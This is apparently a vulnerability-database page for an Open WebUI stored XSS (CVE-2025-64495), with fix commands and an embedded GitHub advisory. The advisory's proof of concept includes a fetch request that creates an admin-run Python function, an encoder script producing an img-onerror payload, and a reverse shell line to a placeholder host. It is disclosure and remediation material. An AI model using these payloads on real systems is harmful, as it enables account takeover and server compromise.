CVE-2025-64495: Open webui Remote Code Execution Vulnerability
HIGHCVE-2025-64495 is a HIGH (CVSS 8.7) remote code execution vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Open webui libraries in the npm ecosystem. The issue involves open webui vulnerable to stored dom xss via prompts when 'insert prompt as rich text' is enabled resulting in ato/rce. Remediation is available by upgrading affected packages to version 0.6.35.
CVE-2025-64495 at a Glance
Security Impact
CVSS: 8.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).
How to Fix CVE-2025-64495
To remediate this vulnerability, upgrade all affected Open webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install open-webui@0.6.35
pip install open-webui>=0.6.35
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls open-webui
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-64495, inspect your project dependencies using npm:
npm ls open-webui
Analyze the terminal output to locate any version of Open webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.35), your application is affected.
Note: The npm ls open-webui command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Open webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-64495 Affected Open webui Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
open-webui
|
npm |
< 0.6.35
|
0.6.35
|
|
open-webui
|
PyPI |
< 0.6.35
|
0.6.35
|
References
Frequently Asked Questions
What is CVE-2025-64495?
Which Open webui versions are affected?
What version fixes CVE-2025-64495?
Is open-webui affected?
What is the CVSS score of CVE-2025-64495?
What CWE is associated with CVE-2025-64495?
How can I check npm dependencies for CVE-2025-64495?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-w7xj-8fx7-wfch",
"modified" : "2025-11-27T09:05:50Z",
"published" : "2025-11-07T15:25:23Z",
"aliases" : [ "CVE-2025-64495" ],
"summary" : "Open WebUI vulnerable to Stored DOM XSS via prompts when 'Insert Prompt as Rich Text' is enabled resulting in ATO/RCE",
"details" : "### Summary\n\nThe functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prompt body is assigned to the DOM sink `.innerHtml` without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding `/` command to insert the prompt.\n\n### Details\n\nThe affected line is https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348\n\n```js\n\texport const replaceCommandWithText = async (text) => {\n\t\tconst { state, dispatch } = editor.view;\n\t\tconst { selection } = state;\n\t\tconst pos = selection.from;\n\n\t\t// Get the plain text of this document\n\t\t// const docText = state.doc.textBetween(0, state.doc.content.size, '\\n', '\\n');\n\n\t\t// Find the word boundaries at cursor\n\t\tconst { start, end } = getWordBoundsAtPos(state.doc, pos);\n\n\t\tlet tr = state.tr;\n\n\t\tif (insertPromptAsRichText) {\n\t\t\tconst htmlContent = marked\n\t\t\t\t.parse(text, {\n\t\t\t\t\tbreaks: true,\n\t\t\t\t\tgfm: true\n\t\t\t\t})\n\t\t\t\t.trim();\n\n\t\t\t// Create a temporary div to parse HTML\n\t\t\tconst tempDiv = document.createElement('div');\n\t\t\ttempDiv.innerHTML = htmlContent; // <---- vulnerable\n```\n\nUser controlled HTML from the prompt body is assigned to `tempDiv.innerHTML` without (meaningful) sanitisation. `marked.parse` introduces some character limitations but does not sanitise the content, as stated in their README.\n\n<img width=\"1816\" height=\"498\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bd0980fc-ad87-460a-94b8-02bc94bea1a2\" />\n\n### PoC\nCreate a custom prompt as follows:\n<img width=\"3006\" height=\"1100\" alt=\"image\" src=\"https://github.com/user-attachments/assets/47de7a11-514d-48f9-8c6a-04ab1894f981\" />\n\nVia settings, ensure 'Insert Prompt as Rich Text' is enabled:\n<img width=\"2204\" height=\"1268\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f188065f-7c11-4f09-9ced-4e7d2e6f4d48\" />\n\nRun the command `/poc` via a chat window.\n<img width=\"2470\" height=\"1332\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5a112f51-210a-43f3-b999-915b1d0e6744\" />\n\nObserve the alert is triggered.\n<img width=\"2452\" height=\"1456\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fa15dbd6-44a7-4cfc-bd93-4cc56aac5eea\" />\n\n#### RCE\nSince admins can naturally run arbitrary Python code on the server via the 'Functions' feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing. \n\nThis can be accomplished by making them run the following fetch request:\n```js\nfetch(\"https://<HOST>/api/v1/functions/create\", {\n method: \"POST\",\n credentials: \"include\",\n headers: {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\"\n },\n body: JSON.stringify({\n id: \"pentest_cmd_test\",\n name: \"pentest cmd test\",\n meta: { description: \"pentest cmd test\" },\n content: \"import os;os.system('echo RCE')\"\n })\n})\n```\nThis cannot be done directly because the `marked.parse` call the HTML is passed through will neutralise payloads containing quotes\n<img width=\"1718\" height=\"482\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6797efbd-4f2e-4570-ad9f-59a65dba1745\" />\nTo get around this strings must be manually constructed from their decimal values using `String.fromCodePoint`. The following Python script automates generating a viable payload from given JavaScript:\n```py\npayload2 = \"\"\"\nfetch(\"https://<HOST>/api/v1/functions/create\", {\n method: \"POST\",\n credentials: \"include\",\n headers: {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\"\n },\n body: JSON.stringify({\n id: \"pentest_cmd_test\",\n name: \"pentest cmd test\",\n meta: { description: \"pentest cmd test\" },\n content: \"import os;os.system('bash -c \\\\\\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\\\\\'')\"\n })\n})\n\"\"\".lstrip().rstrip()\n\nout = \"\"\n\nfor c in payload2:\n out += f\"String.fromCodePoint({ord(c)})+\"\n\nprint(f\"<img src=x onerror=eval({out[:-1]})>\")\n```\nAn admin that triggers the corresponding payload via a prompt command will trigger a Python function to run that runs a reverse shell payload, giving command line access on the server to the attacker.\n<img width=\"2476\" height=\"756\" alt=\"image\" src=\"https://github.com/user-attachments/assets/01f9e991-832a-4cfb-8c3e-3b2ce02cff15\" />\n\n<img width=\"2492\" height=\"1530\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d08eb48f-a688-41a1-9b52-e91df7ced929\" />\n<img width=\"1968\" height=\"916\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2ad6a19e-f151-4ac9-9903-0961e33fe42f\" />\n\n\n### Impact\n\nAny user running the malicious prompt could have their account compromised via malicious JavaScript that reads their session token from localstorage and exfiltrates it to an attacker controlled server.\n\nAdmin users running the malicious prompt risk exposing the backend server to remote code execution (RCE) since malicious JavaScript running via the vulnerability can be used to send requests as the admin user that run malicious Python functions, that may run operating system commands.\n\n### Caveats\n\nLow privilege users cannot create prompts by default, the USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS permission is needed, which may be given out via e.g. a custom group. see: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions\n\nA victim user running the command to trigger the prompt needs to have the 'Insert Prompt as Rich Text' setting enabled via preferences for the vulnerability to trigger. The setting is off by default. Users with this setting disabled are unaffected.\n\n### Remediation\n\nSanitise the user controlled HTML with DOMPurify before assigning it to `.innerHtml`",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "open-webui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.6.35"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.6.34"
}
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "open-webui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.6.35"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.6.34"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-w7xj-8fx7-wfch"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-64495"
}, {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/commit/eb9c4c0e358c274aea35f21c2856c0a20051e5f1"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-webui/open-webui"
}, {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-11-07T15:25:23Z",
"nvd_published_at" : "2025-11-08T02:15:35Z"
}
}